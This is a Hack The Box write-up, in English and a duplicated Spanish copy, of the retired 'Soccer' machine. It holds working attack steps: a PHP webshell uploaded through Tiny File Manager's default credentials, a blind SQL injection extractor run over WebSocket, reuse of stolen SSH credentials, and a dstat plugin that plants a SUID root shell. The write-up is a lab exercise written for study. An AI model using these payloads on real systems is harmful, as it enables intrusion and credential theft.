Soccer
Executive summary — Soccer chains factory credentials on Tiny File Manager with an unrestricted file upload to get RCE as
www-data, discovers a second vhost from there exposing a Node application over WebSocket, exploits a blind, numeric-context SQL injection carried over that WebSocket (not HTTP, so standard tooling never reaches it) to steal database credentials, and closes the loop with a password reuse into SSH plus adoasrule that allows loading arbitrary Python plugins intodstatas root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.43.221 |
Attack map
[80] soccer.htb — static site [9091] Express unidentified by nmap
│ directory brute force -> /tiny/ -> Tiny File Manager 2.4.3
▼
[tiny] admin:admin@123 (factory credentials) -> full file manager
│ unrestricted-extension upload to /tiny/uploads/ (served with PHP)
▼
[RCE] www-data (PHP webshell)
│ /etc/nginx/sites-enabled reveals hidden vhost soc-player.soccer.htb
│ -> proxies to Node on :3000, real WebSocket on :9091
▼
[9091] WebSocket — "id" parameter interpolated unquoted in a template literal
│ Blind SQL injection (numeric context) -> dump of accounts
▼
[creds] player:PlayerOftheMatch2022 (DB, plaintext) -> reused over SSH
▼
[SSH] player (user.txt)
│ doas NOPASSWD /usr/bin/dstat + plugin directory writable by
│ the player group -> dstat loads and runs Python as root
▼
[ROOT] malicious dstat Python plugin -> SUID bash -> root.txt
1. Reconnaissance
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.43.221
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
9287/tcp filtered cumulus
22177/tcp filtered unknown
... (9 more "filtered" ports)
The scattered, randomly-numbered "filtered" ports are noise from the aggressive --min-rate (dropped SYNs with no response or RST), not a real firewall — a real firewall filters coherent ranges, not random stray ports. What matters is 9091/tcp open: a non-standard high port is usually a custom application, not a packaged, hardened service.
nmap -sCV -p22,80,9091 -Pn -oN nmap-services.txt 10.129.43.221
22/tcp open http OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| <pre>Cannot GET /</pre>
1 service unrecognized despite returning data.
nmap can't identify the service on 9091, but the fingerprint gives it away: Cannot GET / is the exact text of Express.js's default 404 handler, and the Content-Security-Policy/X-Content-Type-Options headers are the ones Express adds automatically to its error responses. It's a Node/Express app that serves nothing at / — either it only handles specific routes, or it doesn't speak plain HTTP at all.
echo "10.129.43.221 soccer.htb" | sudo tee -a /etc/hosts
With both surfaces confirmed (a static site on 80, an unidentified Express app on 9091), it's time to enumerate each.
Resumen ejecutivo — Soccer encadena unas credenciales de fábrica en Tiny File Manager con una subida de fichero sin restricción para conseguir RCE como
www-data, descubre desde ahí un segundo vhost que expone una aplicación Node por WebSocket, explota una SQL injection ciega en contexto numérico transportada sobre ese WebSocket (no HTTP, así que las herramientas estándar no llegan) para robar credenciales de la base de datos, y cierra el ciclo con una reutilización de contraseña hacia SSH y undoasque permite cargar plugins Python arbitrarios endstatcomo root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.43.221 |
Mapa del ataque
[80] soccer.htb — sitio estático [9091] Express sin identificar por nmap
│ gobuster de directorios -> /tiny/ -> Tiny File Manager 2.4.3
▼
[tiny] admin:admin@123 (credenciales de fábrica) -> gestor de ficheros completo
│ subida sin restricción de extensión a /tiny/uploads/ (servido con PHP)
▼
[RCE] www-data (webshell PHP)
│ /etc/nginx/sites-enabled revela vhost oculto soc-player.soccer.htb
│ -> proxy a Node en :3000, WebSocket real en :9091
▼
[9091] WebSocket — parámetro "id" interpolado sin comillas en un template literal
│ SQL injection ciega (contexto numérico) -> volcado de accounts
▼
[creds] player:PlayerOftheMatch2022 (BD, texto claro) -> reutilizada en SSH
▼
[SSH] player (user.txt)
│ doas NOPASSWD /usr/bin/dstat + directorio de plugins escribible
│ por el grupo player -> dstat carga y ejecuta Python como root
▼
[ROOT] plugin Python malicioso en dstat -> bash SUID -> root.txt
1. Reconocimiento
nmap -p- --min-rate 5000 -T4 -Pn -oN nmap-allports.txt 10.129.43.221
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9091/tcp open xmltec-xmlmail
9287/tcp filtered cumulus
22177/tcp filtered unknown
... (9 puertos "filtered" más)
Los puertos "filtered" dispersos y con números aleatorios son ruido del --min-rate agresivo (SYN perdidos sin respuesta ni RST), no un firewall real — un firewall filtra rangos coherentes, no puertos sueltos al azar. Lo relevante es 9091/tcp abierto: un puerto alto no estándar suele ser una aplicación propia, no un servicio empaquetado.
nmap -sCV -p22,80,9091 -Pn -oN nmap-services.txt 10.129.43.221
22/tcp open http OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| <pre>Cannot GET /</pre>
1 service unrecognized despite returning data.
Nmap no identifica el servicio del 9091, pero la huella lo delata: Cannot GET / es el texto exacto del manejador 404 por defecto de Express.js, y las cabeceras Content-Security-Policy/X-Content-Type-Options son las que Express añade automáticamente a sus errores. Es una aplicación Node/Express que no sirve nada en / — o solo atiende rutas concretas, o no habla HTTP plano en absoluto.
echo "10.129.43.221 soccer.htb" | sudo tee -a /etc/hosts
Con las dos superficies confirmadas (sitio estático en 80, aplicación Express sin identificar del todo en 9091), toca enumerar cada una.
2. Initial exploitation — Tiny File Manager
soccer.htb is a static template with no dynamic functionality or internal links: an apparent dead end, and exactly when directory brute-forcing is worth it.
gobuster dir -u http://10.129.43.221 -H "Host: soccer.htb" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-t 50 -q
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
A single result, and it's enough. The HTML reveals Tiny File Manager 2.4.3, a single-file PHP web file manager common on shared hosting. This is already a serious finding on its own: Tiny File Manager is, functionally, a GUI code executor — it browses, uploads, edits and deletes arbitrary files. Running in a PHP-served directory, anyone who authenticates gets trivial RCE. No software vulnerability required: that's its intended functionality. The entire security model comes down to the password.
Tiny File Manager ships with two example accounts documented in its own README: admin/admin@123 (read/write) and user/12345 (read-only). They were tested against the real login:
curl -s --resolve soccer.htb:80:10.129.43.221 -c cj.txt -b cj.txt -i \
-X POST http://soccer.htb/tiny/ \
-d "fm_usr=admin" -d "fm_pwd=admin@123"
HTTP/1.1 302 Found
Set-Cookie: filemanager=vpchur362usb2q6k63jba60jom; path=/
Location: http://soccer.htb/tiny/tinyfilemanager.php?p=
A failed login would return 200 with the form; here there's a 302 with Set-Cookie to the manager — successful authentication with factory credentials. Browsing with the session cookie surfaces a tiny/uploads directory inside the docroot /var/www/html — the dangerous combination: an upload directory inside the directory served by nginx with PHP active.
cat > shell.php <<'EOF'
<?php echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?>
EOF
curl -s --resolve soccer.htb:80:10.129.43.221 -b cj.txt -i \
-X POST "http://soccer.htb/tiny/tinyfilemanager.php?p=tiny/uploads" \
-F "p=tiny/uploads" -F "fullpath=shell.php" -F "file=@shell.php"
{"status":"success","info":"file upload successful"}
No extension validation whatsoever: the .php file is accepted as-is. The PWNOK: marker in the webshell lets the command output be trimmed programmatically:
./c.sh "http://soccer.htb/tiny/uploads/shell.php?cmd=id"
PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmed as www-data.
3. Post-exploitation — hidden vhost and Node application
With command execution, the nginx configuration is mandatory reading: it declares every site hosted, including ones not advertised externally.
ls /etc/nginx/sites-enabled/
cat /etc/nginx/sites-enabled/soc-player.htb
default
soc-player.htb
server {
listen 80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Four facts in twelve lines: a second, third-level vhost no subdomain fuzzing against soccer.htb would have found; the app lives in /root/app, so the Node process runs as root; there's a service on port 3000 not reachable from the network, sitting behind a proxy; and proxy_set_header Upgrade $http_upgrade is explicit WebSocket configuration — connecting the dots straight back to the unidentified 9091. ls -la /root/app/ returns Permission denied: the analysis has to stay black-box.
echo "10.129.43.221 soc-player.soccer.htb" | sudo tee -a /etc/hosts
The application has open registration (/signup, /login, /match) — an invitation to create an own account rather than steal credentials. The first login attempt, reusing the signup fields (username+password), returned a 200 with an empty body: not a credential error (that would show a message) but the sign that the handler didn't find the fields it expected. Reading the actual login HTML confirms the mismatch: signup uses username+email+password, but login only takes email+password. With the right fields, authentication succeeds (an express-session connect.sid cookie).
grep -oiE 'new WebSocket[^;]*|<input[^>]*>' check.html
<input type="text" name="id" id="id" class="form-control">
new WebSocket("ws://soc-player.soccer.htb:9091")
The reconnaissance loop closes here: port 9091 is this application's WebSocket server, and the whole protocol (pulled from the client-side JS) is a single parameter: send {"id": "<value>"}, receive a text string — a query against some ticket database. Minimal surface, but enough.
4. Blind SQL injection over WebSocket
sqlmapspeaks HTTP: URLs, parameters, headers, cookies. A WebSocket, past the initial handshake, stops being HTTP — it's a bidirectional channel with its own frames. There's an option to stand up a local HTTP proxy that translates each request into a WebSocket message, but a custom extractor was written instead: full control over what response counts as true, far less noise, and no translation layer that could introduce its own errors.
python3 wstest.py 1 2 3 4 5 1234 99999 abc
'1' -> "Ticket Doesn't Exist"
'1234' -> "Ticket Doesn't Exist"
'abc' -> "Ticket Doesn't Exist"
Every input returns the same thing: without a positive response there's no oracle. Testing injection with and without quotes:
python3 wstest.py "1' or '1'='1" "1 or 1=1" "1' or 1=1-- -" "0 or 1=1"
"1' or '1'='1" -> "Ticket Doesn't Exist"
'1 or 1=1' -> 'Ticket Exists' <-
"1' or 1=1-- -" -> "Ticket Doesn't Exist"
'0 or 1=1' -> 'Ticket Exists' <-
The payloads that work are exactly the ones without quotes: the parameter is interpolated in numeric context (WHERE id = $id), not string context. Quoted payloads trigger a SQL syntax error that the application catches and flattens to the same message as a nonexistent ticket — that's what makes it blind. Many testers try only the quoted variant and, seeing nothing, rule out injection; here it's precisely the quote that breaks the payload.
python3 wstest.py "1 or sleep(0)=0" "1 or @@version like '%'" "1 or (select database()) like '%'"
'1 or sleep(0)=0' -> 'Ticket Exists' -> MySQL/MariaDB
"1 or @@version like '%'" -> 'Ticket Exists' -> MySQL/MariaDB
"1 or (select database()) like '%'" -> 'Ticket Exists' -> metadata functions OK
A clean oracle (1 or <condition>: since ticket 1 doesn't exist, the result depends solely on the injected condition) and a confirmed MySQL/MariaDB engine. With a binary oracle any data can be extracted character by character; instead of testing the ~95 printable characters one at a time, binary search over the ASCII code cuts that to ~7 queries per character:
def char_at(expr, pos):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if ask(f"1 or ascii(substring(({expr}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
With a ThreadPoolExecutor (each position is independent of the others, trivially parallelizable) and a ×3 retry per query (WebSocket connections drop sporadically under concurrency, and a single wrong bit corrupts the whole result):
python3 sqli.py "select version()" "version"
python3 sqli.py "select database()" "database"
python3 sqli.py "select group_concat(table_name) from information_schema.tables where table_schema='soccer_db'" "tables"
python3 sqli.py "select group_concat(column_name) from information_schema.columns where table_schema='soccer_db' and table_name='accounts'" "columns"
python3 sqli.py "select group_concat(username,0x3a,email,0x3a,password separator 0x7c) from soccer_db.accounts" "accounts"
[+] version: 8.0.31-0ubuntu0.20.04.2
[+] database: soccer_db
[+] tables: accounts
[+] columns: email,id,password,username
[+] accounts: player:player@player.htb:PlayerOftheMatch2022
The 0x3a/0x7c separators (: and | in hex) avoid literal quotes, impossible in numeric context. Result: credentials player/PlayerOftheMatch2022, plus a separate finding — the password is stored in plaintext, no hash, no salt.
Rigor note: the test account created while probing the login form was no longer present in the table by the time of the dump, which only contained the
playerrow. This was re-verified later with direct MySQL access, same result. No cron job or application logic was found to explain it — logged here as an observation without a conclusion, since it doesn't affect the outcome of the analysis.
5. Lateral movement — player
PlayerOftheMatch2022 is, in theory, just an application account's password. It was tried against SSH anyway, since the system has a user with the same name:
sshpass -p 'PlayerOftheMatch2022' ssh \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
player@10.129.43.221 'id; hostname; cat ~/user.txt'
uid=1001(player) gid=1001(player) groups=1001(player)
soccer
2722940f16e287263afb2bb8f847ad49
user.txt: 2722940f16e287263afb2bb8f847ad49
The SSH session brings a step up in access quality over the webshell: a real TTY, state between commands, and above all group membership — the player group turns out to be the key to the escalation, a permission www-data never had any way to reach.
6. Privilege escalation — doas + dstat (root.txt)
find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/doas <-
/usr/lib/snapd/snap-confine
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
...
Almost everything is Ubuntu's standard SUID set. What stands out is /usr/local/bin/doas: OpenBSD's minimalist alternative to sudo, in /usr/local/bin (manual install, not from a repository), with configuration entirely independent of /etc/sudoers — an admin who only audits sudo -l would never see this privilege, and indeed sudo -n -l shows nothing useful here.
find / -name "doas.conf" 2>/dev/null -exec cat {} \;
permit nopass player as root cmd /usr/bin/dstat
nopass: not even player's password is needed. dstat is a system statistics tool, apparently harmless and read-only — which is why an admin would consider it safe to grant through doas. The problem is that dstat is extensible via Python plugins: on startup it looks for files matching dstat_<name>.py and, when invoked with --<name>, imports and runs them. It isn't just a stats reader — it's effectively a Python interpreter, running here as root. The same pattern repeats in vim (:!sh), find (-exec), awk (system()) or git hooks: any binary with embedded scripting granted via sudo/doas amounts to arbitrary code execution.
ls -ld /usr/local/share/dstat/
find / -type d -writable 2>/dev/null | grep -i dstat
drwxrwx--- 2 root player 4096 Dec 12 2022 /usr/local/share/dstat/ <-
/usr/local/share/dstat <- writable
The plugin directory of a tool that runs as root belongs to the player group with write permission — and it's empty, no legitimate plugin present, so that permission serves no operational purpose at all. All three necessary conditions hold at once: doas runs dstat as root with no password, dstat loads and runs arbitrary Python, and the plugin directory is writable by this user. None is exploitable alone; together they're immediate root.
cat > /usr/local/share/dstat/dstat_pwn.py <<'EOS'
import os
os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
EOS
doas /usr/bin/dstat --pwn >/dev/null 2>&1
ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1183448 Aug 8 16:31 /tmp/rootbash
uid=1001(player) gid=1001(player) euid=0(root) groups=1001(player)
=== ROOT.TXT ===
b194507bd61bd0237926eb4a0d1ac502
--pwn makes dstat map to and import dstat_pwn.py; Python runs a module's top-level code on import, so the import alone is enough, with no need for dstat to explicitly call anything of ours. A SUID copy of bash beats an ephemeral shell: repeatable root access. The critical detail is -p: bash drops elevated privileges on startup by default (an anti-SUID-shell protection); -p keeps the inherited euid. In the id output, uid=1001(player) but euid=0(root) — the real uid is still player, but the effective uid, the one the kernel checks for access control, is root.
root.txt: b194507bd61bd0237926eb4a0d1ac502
Later verification with root access: the source of
server.jsconfirms the black-box analysis point by point (where id =${id}unquoted,if (error) ws.send("Ticket Doesn't Exist")flattening errors). And inapp.js, by the same author, the signup and login queries do use bound placeholders (?) — the developer knew the right way and applied it twice; it failed exactly in the file that handles the WebSocket, the one that least resembles the rest of the codebase. A consistency failure, not a knowledge gap: what's missing isn't training, it's a linter/SAST check in the pipeline that flags it every time.
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Tiny File Manager 2.4.3 | Factory credentials (admin:admin@123) + unrestricted-extension file upload | RCE as www-data |
| Internal application | WebSocket server.js (:9091) | Blind SQL injection in numeric context — unparameterized id | Dump of accounts credentials |
| Lateral movement | SSH / DB password | Password reused across DB, application and the player system account | Interactive access as player (user.txt) |
| PrivEsc | doas + /usr/local/share/dstat | Plugin directory writable by the player group + arbitrary Python loaded as root | Root via a malicious dstat plugin (root.txt) |
Lessons learned
- A web file manager is, de facto, a GUI code executor: its entire security rests on the password. Changing the factory credentials of admin tools (Tiny File Manager, phpMyAdmin, control panels...) isn't optional.
- An upload directory served by the same interpreter that runs the site (PHP +
uploads/inside the docroot) is dangerous on its own, even with zero software vulnerabilities involved. sqlmapand most automated scanners assume HTTP; surfaces over WebSocket, gRPC or other protocols need a purpose-built extractor — don't rule out injection just because the standard tool can't reach it.- When testing for SQLi, always check numeric context alongside string context: a quoted payload that fails doesn't rule out injection if the parameter is interpolated unquoted.
- A "read-only" binary with a plugin or embedded scripting system (
dstat,vim,find -exec,awk,githooks...) amounts to an interpreter: granting it viasudo/doasgrants arbitrary code execution. Audit configurations outside/etc/sudoerstoo —doas.confis easy to miss.
2. Explotación inicial — Tiny File Manager
soccer.htb es una plantilla estática sin funcionalidad dinámica ni enlaces internos: callejón sin salida aparente, y exactamente cuando toca fuerza bruta de directorios.
gobuster dir -u http://10.129.43.221 -H "Host: soccer.htb" \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-t 50 -q
/tiny (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Un único resultado, y basta. El HTML revela Tiny File Manager 2.4.3, un gestor de ficheros web en PHP de un solo fichero, habitual en hostings compartidos. Esto ya es un hallazgo grave por sí mismo: Tiny File Manager es, funcionalmente, un ejecutor de código con interfaz gráfica — navega, sube, edita y borra ficheros arbitrarios. Corriendo en un directorio servido por PHP, cualquiera que se autentique obtiene RCE trivial. No hace falta ninguna vulnerabilidad de software: es su funcionalidad prevista. Todo el modelo de seguridad se reduce a la contraseña.
Tiny File Manager se distribuye con dos cuentas de ejemplo documentadas en su propio README: admin/admin@123 (lectura/escritura) y user/12345 (solo lectura). Se probaron contra el login real:
curl -s --resolve soccer.htb:80:10.129.43.221 -c cj.txt -b cj.txt -i \
-X POST http://soccer.htb/tiny/ \
-d "fm_usr=admin" -d "fm_pwd=admin@123"
HTTP/1.1 302 Found
Set-Cookie: filemanager=vpchur362usb2q6k63jba60jom; path=/
Location: http://soccer.htb/tiny/tinyfilemanager.php?p=
Un login fallido devolvería 200 con el formulario; aquí hay 302 con Set-Cookie hacia el gestor. Autenticación satisfactoria con credenciales de fábrica. Navegando con la cookie de sesión aparece un directorio tiny/uploads dentro del docroot /var/www/html — la combinación peligrosa: subida de ficheros dentro del directorio servido por nginx con PHP activo.
cat > shell.php <<'EOF'
<?php echo "PWNOK:".shell_exec($_REQUEST["cmd"]); ?>
EOF
curl -s --resolve soccer.htb:80:10.129.43.221 -b cj.txt -i \
-X POST "http://soccer.htb/tiny/tinyfilemanager.php?p=tiny/uploads" \
-F "p=tiny/uploads" -F "fullpath=shell.php" -F "file=@shell.php"
{"status":"success","info":"file upload successful"}
Sin ninguna validación de extensión: el .php se acepta tal cual. El marcador PWNOK: en la webshell permite recortar programáticamente la salida del comando:
./c.sh "http://soccer.htb/tiny/uploads/shell.php?cmd=id"
PWNOK:uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmado como www-data.
3. Post-explotación — vhost oculto y aplicación Node
Con ejecución de comandos, la configuración de nginx es lectura obligada: declara todos los sitios alojados, incluidos los que no se anuncian externamente.
ls /etc/nginx/sites-enabled/
cat /etc/nginx/sites-enabled/soc-player.htb
default
soc-player.htb
server {
listen 80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Cuatro datos en doce líneas: un segundo vhost de tercer nivel que ningún fuzzing de subdominios sobre soccer.htb habría encontrado; la app vive en /root/app, así que el proceso Node corre como root; hay un servicio en el puerto 3000 no accesible desde la red, detrás de un proxy; y proxy_set_header Upgrade $http_upgrade es configuración explícita para WebSockets — conecta directamente con el 9091 sin identificar. ls -la /root/app/ devuelve Permission denied: el análisis tendrá que ser de caja negra.
echo "10.129.43.221 soc-player.soccer.htb" | sudo tee -a /etc/hosts
La aplicación tiene registro abierto (/signup, /login, /match) — una invitación a crear cuenta propia en vez de robar credenciales. El primer intento de login, reutilizando los campos del registro (username+password), devolvió un 200 con cuerpo vacío: no es un error de credenciales (eso mostraría un mensaje), sino la señal de que el manejador no encontró los campos esperados. Leer el HTML real del login confirma la asimetría: el registro usa username+email+password, pero el login solo email+password. Con los campos correctos, autenticación satisfactoria (cookie connect.sid de express-session).
grep -oiE 'new WebSocket[^;]*|<input[^>]*>' check.html
<input type="text" name="id" id="id" class="form-control">
new WebSocket("ws://soc-player.soccer.htb:9091")
Se cierra el círculo del reconocimiento: el puerto 9091 es el servidor WebSocket de esta aplicación, y el protocolo completo (extraído del JS del cliente) es un único parámetro: envía {"id": "<valor>"}, recibe una cadena de texto — consulta a una base de datos de tickets. Superficie mínima, pero suficiente.
4. SQL injection ciega sobre WebSocket
sqlmaphabla HTTP: URLs, parámetros, cabeceras, cookies. Un WebSocket, tras el handshake inicial, deja de ser HTTP — es un canal bidireccional con tramas propias. Existe la opción de levantar un proxy HTTP local que traduzca cada petición a un mensaje WebSocket, pero aquí se optó por un extractor propio: control total sobre qué respuesta significa verdadero, mucho menos ruido, y sin capa de traducción intermedia que pueda introducir errores.
python3 wstest.py 1 2 3 4 5 1234 99999 abc
'1' -> "Ticket Doesn't Exist"
'1234' -> "Ticket Doesn't Exist"
'abc' -> "Ticket Doesn't Exist"
Todas las entradas devuelven lo mismo: sin una respuesta afirmativa no hay oráculo. Probando inyección con y sin comillas:
python3 wstest.py "1' or '1'='1" "1 or 1=1" "1' or 1=1-- -" "0 or 1=1"
"1' or '1'='1" -> "Ticket Doesn't Exist"
'1 or 1=1' -> 'Ticket Exists' <-
"1' or 1=1-- -" -> "Ticket Doesn't Exist"
'0 or 1=1' -> 'Ticket Exists' <-
Los payloads que funcionan son exactamente los sin comillas: el parámetro se interpola en contexto numérico (WHERE id = $id), no de cadena. Los payloads con comilla provocan un error de sintaxis que la aplicación captura y aplana al mismo mensaje que un ticket inexistente — eso es lo que la convierte en ciega. Muchos operadores prueban solo la variante con comilla y, al no ver nada, descartan la inyección; aquí es precisamente la que rompe el payload.
python3 wstest.py "1 or sleep(0)=0" "1 or @@version like '%'" "1 or (select database()) like '%'"
'1 or sleep(0)=0' -> 'Ticket Exists' -> MySQL/MariaDB
"1 or @@version like '%'" -> 'Ticket Exists' -> MySQL/MariaDB
"1 or (select database()) like '%'" -> 'Ticket Exists' -> funciones de metadatos OK
Oráculo limpio (1 or <condición>: como el ticket 1 no existe, el resultado depende solo de la condición inyectada) y motor MySQL/MariaDB confirmado. Con un oráculo binario se extrae cualquier dato carácter a carácter; en vez de probar los ~95 imprimibles uno a uno, búsqueda binaria sobre el código ASCII reduce a ~7 consultas por carácter:
def char_at(expr, pos):
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if ask(f"1 or ascii(substring(({expr}),{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
return chr(lo)
Con ThreadPoolExecutor (cada posición es independiente de las demás, paralelizable de forma trivial) y reintento ×3 por consulta (las conexiones WebSocket fallan esporádicamente bajo concurrencia, y un solo bit erróneo corrompe todo el resultado):
python3 sqli.py "select version()" "version"
python3 sqli.py "select database()" "database"
python3 sqli.py "select group_concat(table_name) from information_schema.tables where table_schema='soccer_db'" "tablas"
python3 sqli.py "select group_concat(column_name) from information_schema.columns where table_schema='soccer_db' and table_name='accounts'" "columnas"
python3 sqli.py "select group_concat(username,0x3a,email,0x3a,password separator 0x7c) from soccer_db.accounts" "cuentas"
[+] version: 8.0.31-0ubuntu0.20.04.2
[+] database: soccer_db
[+] tablas: accounts
[+] columnas: email,id,password,username
[+] cuentas: player:player@player.htb:PlayerOftheMatch2022
Los separadores 0x3a/0x7c (: y | en hexadecimal) evitan usar comillas literales, imposibles en contexto numérico. Resultado: credenciales player/PlayerOftheMatch2022, y un hallazgo aparte — la contraseña está en texto claro, sin hash ni salt.
Nota de rigor: la cuenta de prueba creada durante el reconocimiento del login ya no aparecía en la tabla en el momento del volcado, que solo contenía la fila
player. Se verificó después con acceso directo a MySQL, mismo resultado. No se identificó cron ni lógica de la aplicación que lo explique — se registra como observación sin conclusión, sin afectar al resultado del análisis.
5. Movimiento lateral — player
PlayerOftheMatch2022 es, en teoría, solo la contraseña de una cuenta de la aplicación. Se probó igualmente contra SSH, aprovechando que el sistema tiene un usuario del mismo nombre:
sshpass -p 'PlayerOftheMatch2022' ssh \
-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
player@10.129.43.221 'id; hostname; cat ~/user.txt'
uid=1001(player) gid=1001(player) groups=1001(player)
soccer
2722940f16e287263afb2bb8f847ad49
user.txt: 2722940f16e287263afb2bb8f847ad49
La sesión SSH aporta calidad de acceso frente a la webshell: TTY real, estado entre comandos, y sobre todo pertenencia a grupos — el grupo player resulta ser la pieza clave de la escalada, un permiso al que www-data nunca tuvo acceso.
6. Escalada de privilegios — doas + dstat (root.txt)
find / -perm -4000 -type f 2>/dev/null
/usr/local/bin/doas <-
/usr/lib/snapd/snap-confine
/usr/bin/su
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
...
Casi todo es el conjunto SUID estándar de Ubuntu. Lo que destaca es /usr/local/bin/doas: la alternativa minimalista a sudo de OpenBSD, en /usr/local/bin (instalación manual, no de repositorio), con configuración completamente independiente de /etc/sudoers — un administrador que audite solo sudo -l nunca vería este privilegio, y en efecto sudo -n -l aquí no revela nada.
find / -name "doas.conf" 2>/dev/null -exec cat {} \;
permit nopass player as root cmd /usr/bin/dstat
nopass: ni siquiera hace falta la contraseña de player. dstat es una herramienta de estadísticas del sistema, aparentemente inofensiva y de solo lectura — de ahí que un administrador la considere segura para conceder por doas. El problema es que dstat es extensible mediante plugins Python: al arrancar busca ficheros dstat_<nombre>.py y, al invocarse con --<nombre>, los importa y ejecuta. No es solo un lector de estadísticas: es, de forma efectiva, un intérprete de Python — y aquí corre como root. El mismo patrón se repite en vim (:!sh), find (-exec), awk (system()) o git (hooks): cualquier binario con scripting embebido concedido por sudo/doas equivale a ejecución de código arbitrario.
ls -ld /usr/local/share/dstat/
find / -type d -writable 2>/dev/null | grep -i dstat
drwxrwx--- 2 root player 4096 Dec 12 2022 /usr/local/share/dstat/ <-
/usr/local/share/dstat <- escribible
El directorio de plugins de una herramienta que se ejecuta como root pertenece al grupo player con permiso de escritura — y está vacío, sin ningún plugin legítimo, así que ese permiso no cumple función operativa alguna. Las tres condiciones necesarias se cumplen a la vez: doas ejecuta dstat como root sin contraseña, dstat carga y ejecuta Python arbitrario, y el directorio de plugins es escribible por nuestro usuario. Ninguna por separado es explotable; juntas son root inmediato.
cat > /usr/local/share/dstat/dstat_pwn.py <<'EOS'
import os
os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
EOS
doas /usr/bin/dstat --pwn >/dev/null 2>&1
ls -la /tmp/rootbash
/tmp/rootbash -p -c 'id; cat /root/root.txt'
-rwsr-xr-x 1 root root 1183448 Aug 8 16:31 /tmp/rootbash
uid=1001(player) gid=1001(player) euid=0(root) groups=1001(player)
=== ROOT.TXT ===
b194507bd61bd0237926eb4a0d1ac502
--pwn hace que dstat mapee e importe dstat_pwn.py; Python ejecuta el cuerpo de un módulo al importarlo, así que basta con el import, sin que dstat tenga que invocar nada nuestro explícitamente. La copia SUID de bash es preferible a un shell efímero: acceso root repetible. El detalle crítico es -p: bash abandona los privilegios elevados al arrancar por defecto (protección anti-SUID-shell); -p conserva el euid heredado. En la salida de id, uid=1001(player) pero euid=0(root) — el uid real sigue siendo player, pero el uid efectivo, el que el kernel consulta para el control de acceso, es root.
root.txt: b194507bd61bd0237926eb4a0d1ac502
Verificación posterior con acceso root: el código fuente de
server.jsconfirma punto por punto el análisis de caja negra (where id =${id}sin comillas,if (error) ws.send("Ticket Doesn't Exist")aplanando errores). Y enapp.js, del mismo autor, las consultas de registro y login sí usan marcadores de posición parametrizados (?) — el desarrollador sabía hacerlo bien y lo aplicó dos veces; falló justo en el fichero que gestiona el WebSocket, el que menos se parece al resto del código. Un fallo de consistencia, no de desconocimiento: lo que falta no es formación, sino un linter/SAST en el pipeline que lo marque siempre.
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Tiny File Manager 2.4.3 | Credenciales de fábrica (admin:admin@123) + subida sin restricción de extensión | RCE como www-data |
| Aplicación interna | WebSocket server.js (:9091) | SQL injection ciega en contexto numérico — id sin parametrizar | Volcado de credenciales de accounts |
| Movimiento lateral | SSH / contraseña de BD | Contraseña reutilizada entre BD, aplicación y cuenta de sistema player | Acceso interactivo como player (user.txt) |
| PrivEsc | doas + /usr/local/share/dstat | Directorio de plugins escribible por el grupo player + carga de Python arbitrario como root | Root vía plugin malicioso en dstat (root.txt) |
Lecciones aprendidas
- Un gestor de ficheros web es, de facto, un ejecutor de código con interfaz gráfica: toda su seguridad depende de la contraseña. Cambiar las credenciales de fábrica de herramientas de administración (Tiny File Manager, phpMyAdmin, paneles de control...) no es opcional.
- Un directorio de subida servido por el mismo intérprete que ejecuta el sitio (PHP +
